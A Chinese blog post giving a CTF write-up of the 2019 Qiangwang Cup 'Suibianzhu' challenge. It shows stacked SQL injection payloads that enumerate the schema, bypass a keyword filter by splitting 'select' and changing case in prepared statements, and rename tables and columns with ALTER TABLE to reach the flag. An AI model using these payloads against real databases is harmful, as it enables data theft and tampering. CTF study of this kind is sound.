[强网杯 2019]随便注

 

知识点

  • 堆叠注入
  • 预编译

原理参考堆叠注入详解

打开题目,如图所示


在这里插入图片描述
尝试

-1' union select 1,2#

 

发现select被禁
尝试堆叠注入


查库

1';show databases;#

 

在这里插入图片描述

 


查表

1';show tables;#

 

在这里插入图片描述

 

查1919810931114514表的列名

1';show columns from `1919810931114514`#

这里表名使用反引号进行包含


在这里插入图片描述

 

应该就是从1919810931114514中查flag
查words表的列名

1';show columns from words;#

 

在这里插入图片描述

 

两种方式查flag

第一种 预编译
来自2019强网杯"随便注"学习
需要执行的目标语句为

select * from `1919810931114514`;

 

预编译相关语法如下

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

 

payload

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

 

回显

strstr($inject, "set") && strstr($inject, "prepare")

 


strstr无法区分大小写,用大小写绕过

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#

 

第二种 重命名

猜测后台查询语句为

select * from words where id = '';

 

将1919810931114514表名改为words,flag列名改为id,这样后台从words表里查询id时,实际上查的是1919810931114514表的flag
改名语法如下

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

 

payload

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

 

最后获取flag

1' or 1=1#

 

posted @ 2020-05-11 18:07  山野村夫z1  阅读(272)  评论(0编辑  收藏  举报